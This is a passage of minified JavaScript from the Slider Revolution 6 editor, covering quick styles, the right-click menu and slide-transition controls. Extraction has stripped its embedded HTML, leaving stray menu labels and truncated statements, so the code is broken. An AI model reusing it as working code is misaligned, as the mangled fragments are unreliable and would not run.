    ';break;default:RVS.F.buildQuickStyleExtension=void 0===RVS.F.buildQuickStyleExtension?{}:RVS.F.buildQuickStyleExtension,void 0!==RVS.F.buildQuickStyleExtension[s]&&(r+=RVS.F.buildQuickStyleExtension[s](o,n),l=!0)}if(l){var p=n.ff.replace(/\ /g,"_");for(var u in t[p]=void 0===t[p]?{family:p,weights:[],italic:!1}:t[p],t[p].font=n.ff,t[p].italic=!0===t[p].italic||n.fst,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(u)&&-1===t[p].weights.toString().indexOf(n.fw)&&t[p].weights.push(n.fw)}}r+="
    "}for(var s in r+="
    ",r+="
    ",window.qstyle_container=jQuery(r),window.qstyle_scroll_targets=[],t)if(t.hasOwnProperty(s)){var R=RVS.F.loadSingleFont(t[s]);void 0!==R&&a.push(R)}RVS.F.showWaitAMinute({fadeOut:500,text:"Building Quick Style Library"}),RVS.F.do_google_font_load(a,void 0,"showQuickStyle"),RVS.C.theEditor.append(window.qstyle_container);var V=0;jQuery(".quick_style_menu_point").each(function(){void 0!==this.dataset.ref&&(window.qstyle_scroll_targets.push({enable:!0,library:this.dataset.library,obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=V,V++)}),jQuery("#quick_style_scrollable").RSScroll({wheelPropagation:!1}),jQuery("#quick_style_scrollable").on("scroll",i)}(),window.quickStyleExists=!0)},RVS.F.showQuickStyle=function(){RVS.F.updateAvailableLayerTypes(),tpGS.gsap.to("#quick_style",.4,{width:320,display:"block",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:0,ease:"power3.inOut"}),setTimeout(i,400)},RVS.F.updateAvailableLayerTypes=function(){if(RVS.S.qstyle_library_open){window.quickstylefilter=[];var e=!1,t=!1,i=!1,a=!1,r=!1;if(RVS.F.qstyleParamsListCase=void 0===RVS.F.qstyleParamsListCase?{}:RVS.F.qstyleParamsListCase,void 0!==RVS.S.qstyleParams.list&&Array.isArray(RVS.S.qstyleParams.list)){for(var s in RVS.S.qstyleParams.list)if(RVS.S.qstyleParams.list.hasOwnProperty(s))switch(RVS.S.qstyleParams.list[s]){case"button":e||(window.quickstylefilter.push("buttons"),a=!1===a?"buttons":a,e=!0);break;case"content":i||(window.quickstylefilter.push("content"),a=!1===a?"content":a,i=!0);break;case"headlines":case"text":t||(window.quickstylefilter.push("headlines"),a=!1===a?"headlines":a,t=!0);break;default:void 0!==RVS.F.qstyleParamsListCase[RVS.S.qstyleParams.list[s]]&&-1===window.quickstylefilter.indexOf(RVS.S.qstyleParams.list[s])&&(r=RVS.F.qstyleParamsListCase[RVS.S.qstyleParams.list[s]](RVS.S.qstyleParams.list[s]))}}else for(var s in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s))if(void 0!==RVS.L[RVS.selLayers[s]].subsubtype&&void 0!==RVS.LIB.QS[RVS.L[RVS.selLayers[s]].subsubtype])RVS.L[RVS.selLayers[s]].subsubtype,RVS.F.qstyleParamsListCase[RVS.L[RVS.selLayers[s]].subsubtype]&&-1==window.quickstylefilter.indexOf(RVS.L[RVS.selLayers[s]].subsubtype)&&(r=RVS.F.qstyleParamsListCase[RVS.L[RVS.selLayers[s]].subsubtype](RVS.L[RVS.selLayers[s]].subsubtype));else switch(RVS.L[RVS.selLayers[s]].type){case"button":e||(window.quickstylefilter.push("buttons"),e=!0);break;case"text":t||(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),t=!0,i=!0,a="headlines")}for(var o in 0===window.quickstylefilter.length&&(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),window.quickstylefilter.push("buttons")),r||-1!==jQuery.inArray("shadows",window.quickstylefilter)||window.quickstylefilter.push("shadows"),jQuery(".quick_style_dep_all").hide(),jQuery(".quick_style_menu_point").hide(),window.qstyle_scroll_targets)window.qstyle_scroll_targets.hasOwnProperty(o)&&(jQuery.inArray(window.qstyle_scroll_targets[o].library,window.quickstylefilter)>=0?window.qstyle_scroll_targets[o].enable=!0:window.qstyle_scroll_targets[o].enable=!1);for(var o in window.quickstylefilter)window.quickstylefilter.hasOwnProperty(o)&&(jQuery("#quick_style_dep_"+window.quickstylefilter[o]).show(),jQuery("#quick_style_menu_"+window.quickstylefilter[o]).show());!1!==a&&setTimeout(function(){jQuery("#quick_style_menu_"+a).trigger("click")},400)}},RVS.F.closeQuickStyle=function(){void 0!==RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:RVS.S.qstyleBackupGroup}),RVS.S.qstyleBackupGroup=void 0,RVS.S.qstyle_library_open=!1,tpGS.gsap.to("#quick_style",.4,{width:0,display:"none",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:-270,ease:"power3.inOut"}),jQuery("#quick_style_trigger").removeClass("selected")}}(), /*! * REVOLUTION 6.0.0 EDITOR RIGHTCLICK JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ jQuery(function(){var e,t,i,a,r,s,o,n,l,d,S,c,p,u,R,V,m,y,g,f=50,h=50,v=10;RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC;var _={editlayer:function(){var e;switch(this.dataset.type){case"content":e=["#gst_layer_1"];break;case"image":e=["#gst_layer_1","#image_layer_media_library_button"];break;case"style":e=["#gst_layer_3"];break;case"advstyle":e=["#gst_layer_6"];break;case"size":e=["#gst_layer_2"];break;case"hover":e=["#gst_layer_9"];break;case"scroll":e=["#gst_layer_8"];break;case"responsive":e=["#gst_layer_13"];break;case"animation":e=["#gst_layer_4"];break;case"actions":e=["#gst_layer_5"]}a=!0,e.unshift("#module_layers_trigger");for(var t=e.length,i=0;i
    editEdit
    editContent
    editImage
    color_lensBase Style
    invert_colorsAdv. Style
    mouseHover Style
    open_withSize & Position
    photo_size_select_largeResponsivity
    play_arrowAnimation
    system_update_altOn Scroll
    touch_appActions
    content_pasteCopy
    layersSelected Layers
    color_lensBase Style
    invert_colorsAdv. Style
    mouseHover Style
    aspect_ratioSize
    open_withPosition
    photo_size_select_largeResponsivity
    play_arrowAnimation
    system_update_altOn Scroll
    touch_appActions
    file_downloadPaste
    content_copyDuplicate
    deleteDelete
    visibilityShow/Hide
    lock_outlineLock/Unlock
    toggle_offDisable Menu
    ').on("mouseleave",I),y=jQuery('
    editEdit
    editEdit
    styleMedia Library
    camera_enhanceObject Library
    content_pasteCopy
    color_lensBackground
    invert_colorsAnimation
    blur_onFilter
    system_update_altOn Scroll
    leak_addKen Burns
    file_downloadPaste
    toggle_offDisable Menu
    ').on("mouseleave",I),o=S.find("#rc_paste_layer"),V=y.find("#rc_paste_bg");var e=jQuery(document.body).on("click.rcmenu",".rc-menu-item:not(.rc-menu-title)",b).on("click.rcmenu",D);jQuery("#main_hor_toolbar, #the_right_toolbar, #timeline_settings").on("mouseover.rcmenu",I),e.append(S).append(y),t=jQuery(".rc-menu-single"),i=t.parents(".toolbar_dd_subdrop_wrap"),n=jQuery(".rc-menu-paste"),m=jQuery("#rc_menu_panzoom"),g=RVS.WIN.on("resize.rcmenu",I),l=!0}(),jQuery(this).hasClass("_lc_")?(y.hide(),function(){var e=this.className.split("_lc_type_");e=-1!==(e=e[1].split(" ")[0]).search(/text|button|video|audio/)?"content":"image"===e&&"image",jQuery(".rc-menu-layer-edit").hide(),e&&jQuery('.rc-menu-layer-edit[data-type="'+e+'"').show(),r?(o.removeClass("disabled"),n.text(s)):(o.addClass("disabled"),n.text("Paste"))}.call(this),e=S.removeClass(F),a=RVS.selLayers&&1===RVS.selLayers.length?"removeClass":"addClass",t[a]("disabled"),i[a]("disabled")):(S.hide(),function(){jQuery(".rc-menu-bg-edit").hide();var e="image"===RVS.SLIDER[RVS.S.slideId].slide.bg.type?"image":"content";e&&jQuery('.rc-menu-bg-edit[data-type="'+e+'"]').show(),!0===r||p?(V.removeClass("disabled"),n.text(s)):(V.addClass("disabled"),n.text("Paste"))}(),e=y.removeClass(F),c=RVS.SLIDER[RVS.S.slideId].slide.bg.type,m[a="image"===c||"external"===c?"show":"hide"]()),u.pageX
    delete
    '+(parseInt(e)+2)+"."+RVS_LANG.transition+'
    '}function s(t){!1!==e.hovered&&!0!==t.force||(tpGS.gsap.set(e.done,{width:t.left}),t.auto&&tpGS.gsap.set(e.pin,{left:t.left}))}function o(e){e=void 0===e?{id:RVS.S.slideId,target:["#admin_purpose_thumbnail, #slide_list_element_"+RVS.S.slideId+" .sle_thumb"],default:!0}:e;var t=RVS.SLIDER[e.id].slide.thumb.customAdminThumbSrc,i=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;if(null===t||null==t||void 0===t||t.length<3){var a=RVS.F.getSlideBGDrawObj(e);""===a.backgroundImage&&"transparent"===a.backgroundColor&&(a.backgroundImage="url("+RVS.ENV.plugin_url+"admin/assets/images/trans_tile.png)",a.backgroundSize="16px",a["background-size"]="16px",a.backgroundRepeat="repeat"),void 0!==e.target&&void 0!==e.target[0]&&tpGS.gsap.set(e.target,a)}else tpGS.gsap.set(e.target,{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"});e.default&&(void 0===i||i.length<3||"/"===i[i.length-1]?tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],RVS.F.getSlideBGDrawObj()):tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+i+")"}))}function n(){var e={},t=1;for(var i in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(i)&&(e[RVS.SLIDER.slideIDs[i]]=t,!RVS.F.isNumeric(RVS.SLIDER.slideIDs[i])&&-1!=RVS.SLIDER.slideIDs[i].indexOf("static")||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]]||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child||null!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId&&""!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId||t++);for(var i in e)if(e.hasOwnProperty(i)){var a=document.getElementById("slide_list_element_title_index_"+i);null!=a&&(a.innerHTML="#"+e[i]+" ")}}function l(e){return"object"!=typeof e||Array.isArray(e)||(void 0===e[0]||"string"!=typeof e[0]&&"number"!=typeof e[0])&&(void 0===e[1]||"string"!=typeof e[1]&&"number"!=typeof e[1])||(e=Object.values(e)),e}function d(e){return e=void 0===e?["default"]:e,Array.isArray(e)&&"object"!=typeof e[0]?e:"object"==typeof e[0]?Object.values(e[0]):[e]}function S(e,t,i,a){var r=RVS.F.createPresets({modern:!0,icon:e.icon,eclass:e.eclass,groupid:i,groupclass:"slide_trans_templates",maingrpclass:"slide_trans_mains",title:t,customevt:"slide_ajax_calls",groups:e,ref:a,favoriteAjax:"slide_transitions",favoriteList:RVS.LIB.SLTR_FAVORIT,onclick:function(e,t,i,a,r,s){c("true"==t||1==t?{preset:RVS.LIB.SLTR_CUSTOM[e.replace("custom_","")].preset,customkey:e}:{key:e,main:i,sub:a}),RVS.DOC.trigger("showhidetransitions"),RVS.F.updateSlideFrames(),RVS.F.udpateSelectedSlideAnim(),RVS.F.updateSlideAnimationView()}});RVS.S.ATI.append(r.main),RVS.S.ATIR.append(r.inner)}function c(e){var t=y(e);RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange",val:t,old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange),backupType:"object",mode:"slidetransition",callBack:function(){RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"})}}),RVS.SLIDER[RVS.S.slideId].slide.slideChange=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange,t),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.redrawSlideBG()}function p(e,t){RVS.C.slide.find(".slots_wrapper").attr("class","slots_wrapper "+t)}function u(e,t,i){switch(e){case"slide_bg_color":RVS.F.redrawSlideBG({liveColorChange:!0,backgroundColor:t})}}function R(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(u(window.lastColorEditjObj[0].name,i),s&&!0!==o))for(var n in s.ref)if("slide"===s.ref[n].type&&s.ref[n].slide===RVS.S.slideId&&u(s.ref[n].inpname,i),"slide"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i}),s.ref[n].slide===RVS.S.slideId){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else RVS.F.slideinWork(s.ref[n].slide)}function V(e){RVS.SLIDER[RVS.S.slideId].slide.panzoom.set?(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_on")),jQuery("#internal_kenburn_settings").hide(),jQuery("#kenburnissue").hide()):(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_off")),RVS.SBGS[RVS.S.slideId].n.canvas.style.filter="none",void 0!==RVS.TL[RVS.S.slideId]&&null!=RVS.TL[RVS.S.slideId].panzoom&&(RVS.TL[RVS.S.slideId].panzoom.pause().kill(),RVS.TL[RVS.S.slideId].panzoom=void 0,RVS.SBGS[RVS.S.slideId].n.panzoom=void 0)),!0!==e&&RVS.F.redrawSlideBG()}function m(t){var i;if("image"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&"external"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&(RVS.SLIDER[RVS.S.slideId].slide.panzoom.set=!1),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set){if(("image"!==RVS.SBGS[RVS.S.slideId].n.type||"loaded"===RVS.SBGS[RVS.S.slideId].n.loadobj.progress)&&"loaded"===RVS.SBGS[RVS.S.slideId].c.loadobj.progress){var a=0,r=0,o=!1;void 0!==RVS.TL[RVS.S.slideId].panzoom&&(r=RVS.TL[RVS.S.slideId].panzoom.time(),a=RVS.TL[RVS.S.slideId].panzoom.progress(),o=RVS.TL[RVS.S.slideId].panzoom.isActive(),RVS.TL[RVS.S.slideId].panzoom.kill()),RVS.SBGS[RVS.S.slideId].n.panzoom=!0,RVS.SBGS[RVS.S.slideId].n.panvalues=(i=RVS.SLIDER[RVS.S.slideId].slide.panzoom,{duration:parseInt(i.duration)/1e3,ease:i.ease,scalestart:parseInt(i.fitStart)/100,scaleend:parseInt(i.fitEnd)/100,rotatestart:parseFloat(i.rotateStart),rotateend:parseFloat(i.rotateEnd),blurstart:i.blurStart,blurend:i.blurEnd,offsetstart:[i.xStart,i.yStart],offsetend:[i.xEnd,i.yEnd]}),RVS._R.startPanZoom(RVS.SBGS[RVS.S.slideId].n,void 0,.01,RVS.SBGS[RVS.S.slideId].n.skeyindex,"prepare"),RVS.TL[RVS.S.slideId].panzoom.render(r,!0,!0),e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:a*(e.containerWidth-e.pinWidth),auto:!0}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onUpdate",function(){e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:RVS.TL[RVS.S.slideId].panzoom.progress()*(e.containerWidth-e.pinWidth),auto:!0})}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onComplete",function(){RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"}),RVS.TL[RVS.S.slideId].panzoom.pause()}),o&&RVS.TL[RVS.S.slideId].panzoom.play()}}else delete RVS.SBGS[RVS.S.slideId].n.panzoom}function y(e){var t=void 0!==e.preset?jQuery.extend(!0,RVS._R.getSlideAnim_EmptyObject(),e.preset):void 0!==e.key&&void 0!==RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)?jQuery.extend(!0,{},RVS._R.getSlideAnim_EmptyObject(),RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)):RVS._R.getSlideAnim_EmptyObject();return void 0!==e.slot&&(t.in.col=t.in.row=e.slot),t.speed=Math.round(t.speed),t.preset=void 0!==e.key?e.key:void 0!==e.customkey?e.customkey:"custom",t}function g(e,t){return null==e?t:e}i+='\t\t
    ',i+='\t\t\t
    ',i+="\t\t\t
    ",i+="\t\t
    ",i+="\t",RVS.LIB=void 0===RVS.LIB?RVS.LIB={}:RVS.LIB,RVS.F.initSlideBuilder=function(){t=jQuery("#slide_thumb_repeater"),RVS.DOC.on("mouseenter",".slide_list_element",function(){t[0].innerHTML="",RVS.SLIDER.settings.general.useWPML?jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").clone()):jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").first().clone()),t.show()}),RVS.DOC.on("mouseleave",".slide_list_element",function(){t[0].innerHTML=""}),function(){RVS.LIB.SLTR_CUSTOM=void 0===RVS.LIB.SLTR_CUSTOM?{}:RVS.LIB.SLTR_CUSTOM;var e={};for(var t in RVS.S.ATI=jQuery("#active_transitions_innerwrap"),RVS.S.ATIR=jQuery("#active_transitions_innerwrap_results"),RVS.JHOOKS.extendSlideAnimationList)RVS.JHOOKS.extendSlideAnimationList.hasOwnProperty(t)&&RVS.JHOOKS.extendSlideAnimationList[t]();for(var i in RVS.LIB.SLTR)if(RVS.LIB.SLTR.hasOwnProperty(i))for(var a in e[i]=void 0===e[i]?{}:e[i],RVS.LIB.SLTR[i])if(RVS.LIB.SLTR[i].hasOwnProperty(a))if("noSubLevel"===a)e[i].noSubLevel=RVS.LIB.SLTR[i].noSubLevel;else if("icon"==a)e[i].icon=RVS.LIB.SLTR[i].icon;else if("eclass"==a)e[i].eclass=RVS.LIB.SLTR[i].eclass;else if(RVS.LIB.SLTR[i].noSubLevel)e[i][i]=void 0===e[i][i]?{title:void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],elements:{}}:e[i][i],e[i][i].elements[a]={title:RVS.LIB.SLTR[i][a].title,grp:a,main:i},void 0!==RVS.LIB.SLTR[i][a].rndgrp&&(e[i][i].elements[a].rndgrp=RVS.LIB.SLTR[i][a].rndgrp),void 0!==RVS.LIB.SLTR[i][a].rndmain&&(e[i][i].elements[a].rndmain=RVS.LIB.SLTR[i][a].rndmain);else for(var r in e[i][a]=void 0===e[i][a]?{title:void 0===RVS_LANG["sltr_"+a]?a:RVS_LANG["sltr_"+a],elements:{}}:e[i][a],RVS.LIB.SLTR[i][a])"icon"!==r&&RVS.LIB.SLTR[i][a].hasOwnProperty(r)&&(e[i][a].elements[r]={title:RVS.LIB.SLTR[i][a][r].title,grp:a,main:i});var s=0;for(i in e)e.hasOwnProperty(i)&&S(e[i],void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],"slide_trans_templates"+s++,i);S({icon:"tune",custom:{title:RVS_LANG.customtransitionpresets,elements:RVS.LIB.SLTR_CUSTOM,custom:!0}},RVS_LANG.customtemplates,"slide_trans_templates_custom","custom"),function(){var e=jQuery(".transgroup.selected").data("group");jQuery(".inner_transitions").hide(),jQuery(".inner_transitions."+e).show(),RVS.F.udpateSelectedSlideAnim()}()}(),RVS.DOC.on("changeflags",RVS.F.changeFlags),RVS.DOC.on("click",".remove_altslide",function(){var e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.join(",").split(",");RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.splice(this.dataset.index,1),RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.alt",val:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,old:e,backupType:"array",mode:"slidealttransition",callBack:function(){}}),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateAlternateSlideAnims()}),RVS.DOC.on("addslidetransition",function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt=void 0===RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt?[]:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.push("");var e=jQuery(r(RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.length-1));RVS.C.altslcon.append(e),e.find(".slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this),jQuery(this).ddTP({placeholder:"Enter or Select"})})}),RVS.DOC.on("updateSlideAnimationView",RVS.F.updateSlideAnimationView),RVS.DOC.on("updateSlideAnimation",function(e,t){void 0!==t&&("tocustom"===t.eventparam&&RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG())}),RVS.DOC.on("updateSlideAnimationFavoits",function(e,t){void 0!==t&&(RVS.F.showHidePresetFavorits(RVS.LIB.SLTR_FAVORIT,"slide_trans_mains"),RVS.SLIDER[RVS.S.slideId].slide.slideChange.favorit?(RVS.S.ATI[0].classList.add("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.add("showonlyfavoritpresets")):(RVS.S.ATI[0].classList.remove("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.remove("showonlyfavoritpresets")))}),RVS.DOC.on("colrowslideanimchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){var i=t.eventparam.indexOf("in.")>=0?"in":"out",a=t.eventparam.indexOf(".col")>=0?"col":"row",r="row"===a?"col":"row";if(parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].col)*parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].row)>1e3&&(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]=Math.floor(1e3/parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][a])),document.getElementById("sltrans_"+i+"_"+r).value=RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]),RVS.JHOOKS.extendSlideAnimationRowCol)for(var s in RVS.JHOOKS.extendSlideAnimationRowCol)RVS.JHOOKS.extendSlideAnimationRowCol.hasOwnProperty(s)&&RVS.JHOOKS.extendSlideAnimationRowCol[s](i,a,r)}RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG()}),RVS.DOC.on("click",".editslide",function(){return a({id:this.dataset.id}),!1}),RVS.DOC.on("showLastEditedSlideStatic",function(){jQuery(".showunderstatic").removeClass("showunderstatic"),RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited?(jQuery("#slide_"+RVS.S.lastShownSlideId).addClass("showunderstatic"),jQuery("#slide_"+RVS.S.lastShownSlideId).find("._lc_.selected").removeClass("selected"),setTimeout(function(){jQuery("#slide_"+RVS.S.slideId).addClass("hideslotsinslide")},200)):jQuery("#slide_"+RVS.S.slideId).removeClass("hideslotsinslide"))}),RVS.DOC.on("click",".open_close_slide",function(){return a({id:this.dataset.id,openclose:!0}),!1}),RVS.DOC.on("click",".added_slide_transition",function(){jQuery(".added_slide_transition.selected").removeClass("selected"),this.className=this.className+" selected",RVS.S.slideTrans=jQuery(this).index(),RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.updateSlideFrames()}),RVS.DOC.on("click",".transition-replace",function(){RVS.DOC.trigger("showhidetransitions")}),RVS.DOC.on("mouseenter mouseleave","#active_transitions_innerwrap_results .presetelement.dark_btn, #active_transitions_innerwrap_results .presets_listelement.dark_btn",function(e){clearTimeout(window.backToDefaultAnimationTimer),RVS.S.demoSlideAnim="mouseenter"===e.type?{key:"true"==this.dataset.custom&&void 0!==this.dataset&&void 0!==this.dataset.key?this.dataset.key.replace("custom_",""):""+this.dataset.rndgrp!="undefined"||""+this.dataset.rndmain!="undefined"?RVS._R.getRandomSlideTrans(this.dataset.rndmain,this.dataset.rndgrp,RVS.LIB.SLTR):this.dataset.key,preset:"true"==this.dataset.custom?jQuery.extend(!0,{},RVS.LIB.SLTR_CUSTOM[this.dataset.key.replace("custom_","")].preset):void 0}:void 0,window.backToDefaultAnimationTimer=setTimeout(RVS.F.showExampleOrSelectedSlideAnim,"mouseenter"===e.type?200:0)}),RVS.DOC.on("updateslidebasicmediafilter",function(e){RVS.F.redrawSlideBG(e),RVS.F.warnFilterWithTransitions()}),RVS.DOC.on("updateslidebasic",RVS.F.redrawSlideBG),RVS.DOC.on("updateslidebasicmpeg",function(){RVS.F.videoExtract.get(RVS.SLIDER[RVS.S.slideId].slide.bg.mpeg,function(e){RVS.F.setBGPosterImage(e.path,e.id,"slide"),RVS.F.redrawSlideBG()},RVS.SLIDER[RVS.S.slideId].slide.bg.video.startAt,"slide")}),RVS.DOC.on("coloredit colorcancel",R),RVS.DOC.on("showSlideFilter",p),RVS.DOC.on("updateKenBurnBasics",function(){V()}),RVS.DOC.on("updateKenBurnSettings",function(){m(!0)}),RVS.DOC.on("previewKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.play()}),RVS.DOC.on("previewStopKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.pause()}),RVS.DOC.on("rewindKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.progress(0).pause()}),RVS.DOC.on("beforeLayoutModeChange accordionaction",function(){RVS.F.updateTimeLine({state:"stop",timeline:"panzoom"}),RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"})}),RVS.DOC.on("updateslidethumbs",function(){o()}),RVS.DOC.on("resetslideadminthumb",function(e,t){RVS.F.updateSliderObj({path:RVS.S.slideId+"."+t,val:""}),o()}),RVS.DOC.on("changeToLayerMode",function(){RVS.F.showHideLayerEditor({mode:"slidecontent"})}),RVS.DOC.on("changeToSlideMode",function(){RVS.F.showHideLayerEditor({mode:"slidelayout"})}),RVS.DOC.on("windowresized",RVS.F.redrawSlideBG),RVS.DOC.on("sliderSizeChanged",RVS.F.redrawSlideBG),RVS.DOC.on("showhidetransitions",function(){var e=jQuery("#transition_selector");e.is(":visible")?e.hide():e.show()}),RVS.DOC.on("updateSlideNameInList",function(){jQuery("#slide_list_element_title_"+RVS.S.slideId).html(RVS.SLIDER[RVS.S.slideId].slide.title)}),RVS.DOC.on("click","#do_edit_slidename",function(){jQuery("#slide_title_field").trigger("focus")}),RVS.DOC.on("slide_ajax_calls",function(e,t){var i;"overwrite"!==t.mode&&"create"!==t.mode||(i=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange)),"overwrite"!==t.mode&&"rename"!=t.mode||t.pl.data("key"),"rename"===t.mode&&(i=RVS.LIB.SLTR_CUSTOM[t.key].preset,RVS.LIB.SLTR_CUSTOM[t.key].title=t.newname),"delete"===t.mode?RVS.F.ajaxRequest("delete_custom_templates_slidetransitions",{id:t.key.replace("custom_","")},function(e){e.success&&(delete RVS.LIB.SLTR_CUSTOM[t.key],t.pl.remove())}):RVS.F.ajaxRequest("save_custom_templates_slidetransitions",{id:t.key,obj:{title:t.newname,preset:i}},function(e){e.success&&(RVS.LIB.SLTR_CUSTOM[e.data.id]={title:t.newname,preset:i},"create"===t.mode&&(t.element[0].dataset.key=e.data.id),"rename"===t.mode&&t.pl.find(".cla_custom_name").text(t.newname))})}),(e={container:jQuery("#kenburn_timeline")}).pin=e.container.find(".pz_pin"),e.done=e.container.find(".pz_timedone"),e.pinWidth=9,e.hovered=!1,e.pin.draggable({axis:"x",containment:"parent",start:function(t,i){e.container.addClass("indrag"),e.containerWidth=e.container.width()},stop:function(t,i){e.container.removeClass("indrag")},drag:function(t,i){s({left:i.position.left,force:!0}),RVS.F.updateTimeLine({state:"progress",timeline:"panzoom",prgs:i.position.left/(e.containerWidth-e.pinWidth)})}}),e.container.on("mouseenter",function(){e.hovered=!0,e.laststate=RVS.F.updateTimeLine({state:"getstate",timeline:"panzoom"}),RVS.F.updateTimeLine({state:"pause",timeline:"panzoom"})}).on("mouseleave",function(){e.hovered=!1,e.laststate&&RVS.F.updateTimeLine({state:"play",timeline:"panzoom"})})},RVS.F.changeFlags=function(e){e=RVS.SLIDER[RVS.S.slideId].slide.child,document.getElementById(RVS.S.slideId+"_flag_source").innerHTML=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==e&&void 0!==e.language&&""!==e.language&&!1!==e.language&&void 0!==RS_WPML_LANGS[e.language]?'':""},RVS.F.addToSlideList=function(e){RVS.SLIDER.settings.general.useWPML&&RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_usewpml"),trigger:"init"});var t=i.split("###").join(RVS.S.slideId),a=RVS.SLIDER[e.id].slide,r=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==a.child&&void 0!==a.child.language&&""!==a.child.language&&!1!==a.child.language&&void 0!==RS_WPML_LANGS[a.child.language]?'':'',s="undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS?'
    playlist_add
    ':"",n=a.static.isstatic?jQuery('
    layers'+a.title+"
    "):void 0===a.child||void 0===a.child.parentId||""===a.child.parentId||0===a.child.parentId.length||!1===a.child.parentId?jQuery('
